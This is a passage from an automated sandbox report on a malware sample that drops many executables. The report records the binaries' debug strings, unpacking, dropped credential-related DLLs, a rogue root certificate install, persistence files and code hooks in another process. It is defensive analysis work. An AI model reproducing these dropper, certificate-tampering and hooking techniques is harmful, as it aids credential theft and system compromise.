Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb6 ByRef) source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.00000000021EA000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.PDB source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.1878447557.000000E318713000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: file.exe, 00000005.00000002.1283677827.0000000003480000.00000004.08000000.00040000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003D3F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1815283104.00000000021EA000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdbtly source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp, EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.PDB` source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.1878447557.000000E318713000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbroviderN source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 0000002B.00000002.2489734828.000000002280E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.PDB source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp, EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdbf3856 source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: EZWvE2OrmenaDZlccT1Fi95O.PDB source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.1878447557.000000E318713000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb+ source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\hSHxNXg.pdb source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1799896121.0000000005680000.00000004.08000000.00040000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003D3F000.00000004.00000800.00020000.00000000.sdmp, jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000002.1715713389.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdbcter source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2756098066.0000027C7F0C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BotClient.pdb source: jAdtQht6EyohpXB8jxj0sYtp.exe, 0000000E.00000000.1494808088.00000000004D2000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: pC:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.PDB source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.1878447557.000000E318713000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Unpacked PE file: 44.2.jekkyvideoeditor32.exe.400000.0.unpack .text:EW;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Unpacked PE file: 44.2.jekkyvideoeditor32.exe.400000.0.unpack

Source: file.exe

Static PE information: 0x899A47E8 [Thu Feb 26 18:52:24 2043 UTC]

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe

Code function: 18_2_00406312 GetModuleHandleA,LoadLibraryA,GetProcAddress,

18_2_00406312

Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B28430 push esp; iretd	5_2_01B28449
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_01B2FC04 push esp; iretd	5_2_01B2FC0D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00567322 push ecx; ret	7_2_00567335
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Code function: 14_2_05565C40 pushad ; retf	14_2_05565C41
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_004065C8 push 00406605h; ret	19_2_004065FD
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_004040B5 push eax; ret	19_2_004040F1
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_00408104 push ecx; mov dword ptr [esp], eax	19_2_00408109
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_00404185 push 00404391h; ret	19_2_00404389
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_00404206 push 00404391h; ret	19_2_00404389
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_0040C218 push eax; ret	19_2_0040C219
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_004042E8 push 00404391h; ret	19_2_00404389
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_00404283 push 00404391h; ret	19_2_00404389
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Code function: 19_2_00408F38 push 00408F6Bh; ret	19_2_00408F63
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC547967 push ebx; retf	20_2_00007FFAAC54796A
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC534AB8 push eax; retf	20_2_00007FFAAC534AB9
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Code function: 20_2_00007FFAAC600000 push esp; retf 4810h	20_2_00007FFAAC600312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 33_2_02D0E3E0 pushfd ; ret	33_2_02D0E3E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_0041A9F5 push ecx; ret	39_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69A8B536 push ecx; ret	39_2_69A8B549

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Jump to dropped file

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\424576\Patent.pif

Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\is-ES64L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	File created: C:\ProgramData\DSound High Level lib 9.18.45\DSound High Level lib 9.18.45.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\is-B77BO.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\66e9b62daa62d_xin[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\66e705d09b33c_jack[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	File created: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vlsadg[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\smdsg[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\66e86c030044f_UniversityGradually[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vkfsags12[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\66ea645129e6a_jacobs[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userKEHJKJDGCG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\IIDHJKFBGI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\1[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\424576\Patent.pif	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\is-DFBEG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\is-TEF7I.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\onePackage[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\lnfsda[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\66e98ff1d44e2_crypted[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\gefox[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	File created: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userAKFHCAKJDB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\is-JS844.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\lnfsda[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\is-1KTDQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\is-01HD2.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\FBKJDGCGDA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	File created: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	File created: C:\ProgramData\DSound High Level lib 9.18.45\DSound High Level lib 9.18.45.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\IIDHJKFBGI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\FBKJDGCGDA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	File created: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Memory written: PID: 3020 base: 7FFB2D030008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Memory written: PID: 3020 base: 7FFB2CECD9F0 value: E9 20 26 16 00

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 39_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

39_2_004195E0

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
